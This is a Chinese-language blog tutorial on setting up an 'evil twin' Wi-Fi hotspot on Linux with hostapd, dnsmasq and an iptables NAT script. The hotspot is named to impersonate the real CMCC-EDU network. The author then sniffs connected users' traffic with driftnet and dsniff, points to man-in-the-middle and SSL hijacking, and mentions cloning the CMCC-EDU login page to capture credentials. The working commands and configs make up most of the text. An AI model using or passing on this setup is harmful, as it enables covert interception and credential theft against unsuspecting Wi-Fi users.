在linux下建立無線熱點並不像在windows下開啟網絡共享或者使用無線網卡驅動設置AP模式即可。
linux下的無線共享要用到兩個軟件:hostapd(創建無線熱點)、dnsmasq(dns服務和dhcp服務).
1.安裝以上兩個軟件:
apt-get install hostapd apt-get install dnsmasq
2.配置hostapd.conf文件
很多教程上說配置/etc/hostapd/hostapd.conf文件,但是初次配置時,在/etc/hostapd/下並沒有發現這個文件。
好吧,用linux的強大查找功能吧:
# find -name hostapd
靠,沒有。這個可以有!趕緊google一下,在網上可以直接找到hostapd.conf文件,如果直接copy下來放到/etc/hostapd/來可能版本不同不兼容。
想了想,應該在/etc/(畢竟是個配置文件),在到/etc/下找找吧:
/etc# find -name hostapd
發現以下文件:
./default/hostapd
./init.d/hostapd
./hostapd
./network/if-post-down.d/hostapd
./network/if-pre-up.d/hostapd
進去看看:
在該文件中發現了hpstapd.conf.gz文件,它 的位置是/usr/share/doc/hostapd/examples/
好吧,應該找到了,只是壓縮了,解壓吧。注意還要修改上圖的文件,將#DAEMON_CONF=“”修改成上圖形式的(我的已經修改好了)。
DAEMON_CONF=/etc/hostapd/hostapd.conf
保存並退出,將 hpstapd.conf.gz復制到/etc/hostapd/下:
# cp /usr/share/doc/hostapd/examples/hostapd.conf.gz /etc/hostapd/
進入/etc/hostapd/目錄下,解壓:
/etc/hostapd# gzip -d hostapd.conf.gz > hostapd.conf
現在可以編輯hostapd.conf文件了:
# cd /etc/hostapd /etc/hostapd# vim ./hostapd.conf
去掉前面的注釋(去‘#’),並修改以下的:
interface=wlan2 //設置要做為AP的網卡 driver=nl80211 //設置無線網卡驅動,一般都是這樣(也可以具體的,如rtl871xdrv) ssid=CMCC-EDU //設置熱點的名稱,CMCC-EDU你總該連吧~ hw_mode=g //(默認)無線模式,這里是默認的 channel=6 //無線頻道(1、6、11三個頻道互補干擾) macaddr_acl=0 //(默認)MAC地址過濾規則,設置為0即有規則的話就啟用 auth_algs=1 //設置為開放無線模式
其他的默認就好,當然你也可以仔細研究這個hostapd.conf文件(如果你的E文好的話...),最后會說說支持WPA加密的設置。
接下來,是配置dnsmasq.conf文件:
vim /etc/dnsmasq.conf
修改為如下圖形式:
設置內核支持IP轉發,編輯/etc/sysctl.conf文件,去掉“# net.ipv4.ip_forward=1”前面的#去掉:
現在就可以啟動我們設置好的偽造熱點了,這里直接寫成了一個腳本:
#! /bin/bash case $1 in "start") sleep 1 ifconfig wlan2 192.168.10.1 netmask 255.255.255.0 //無線熱點的接口wlan2 sleep 1 echo "1" >/proc/sys/net/ipv4/ip_forward sleep 1 iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE //這里我上網的網卡是wlan0,如果是網線的話就是eth0 sleep 1 /etc/init.d/hostapd start sleep 1 /etc/init.d/dnsmasq start ;; "stop") /etc/init.d/dnsmasq stop /etc/init.d/hostapd stop sleep 1 iptables -t nat -D POSTROUTING -o wlan0 -j MASQUERADE //同上 sleep 1 echo "0" >/proc/sys/net/ipv4/ip_forward sleep 1 ;; *) echo "Usage $0 {start|stop}" ;; esac
取個名字AP-wlan0,再給它加個可運行權限,並放到/etc/init.d/下:
chmod +x ./AP-wlan0 cp ./AP-wlan0 /etc/init.d
啟動服務腳本:
service AP-wlan0 start
啟動之后,如圖():
好了,手機連接上試試~~
由於我這有CMCC-EDU的無線信號,為了便於區分,我把偽造的熱點改為CMCC-EDUU,
用driftnet抓去網頁圖片看看:
driftnet -i wlan2
效果很明顯哦^_^,driftnet還可以捕獲音頻的哦,詳細去看說明吧
當然,這個時候打開dsniff和wireshark的話,所有的數據都可以抓下來了,中間人攻擊、ssl等各種劫持都可以哦,這個我也在研究。。。
dsniff指定端口嗅探:
dsniff -i wlan2 -t 21/tcp=ftp,80/tcp=http
由於我這里在克隆CMCC-EDU登錄界面時,它做的有點變態,還得修改點,所以暫時先寫到這了
PS:下一步就該輪到我的樹莓派上場了,親看下回分解`_`
補充的:
配置hostapd.conf文件支持WPA加密:
interface=wlan2 driver=nl80211 ssid=mywifi hw_mode=g channel=6 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 ieee80211n=1 wpa=2 //WPA2加密模式 wpa_passphrase=mimanicai //密碼(即wifi密碼) wpa_key_mgmt=WPA-PSK wpa-pairwise=TKIP rns-pairwise=CCMP //其他的默認,kali默認用vim時是沒有高亮顯示的,建議設置成高亮的以便於查找,怎么設,自己google吧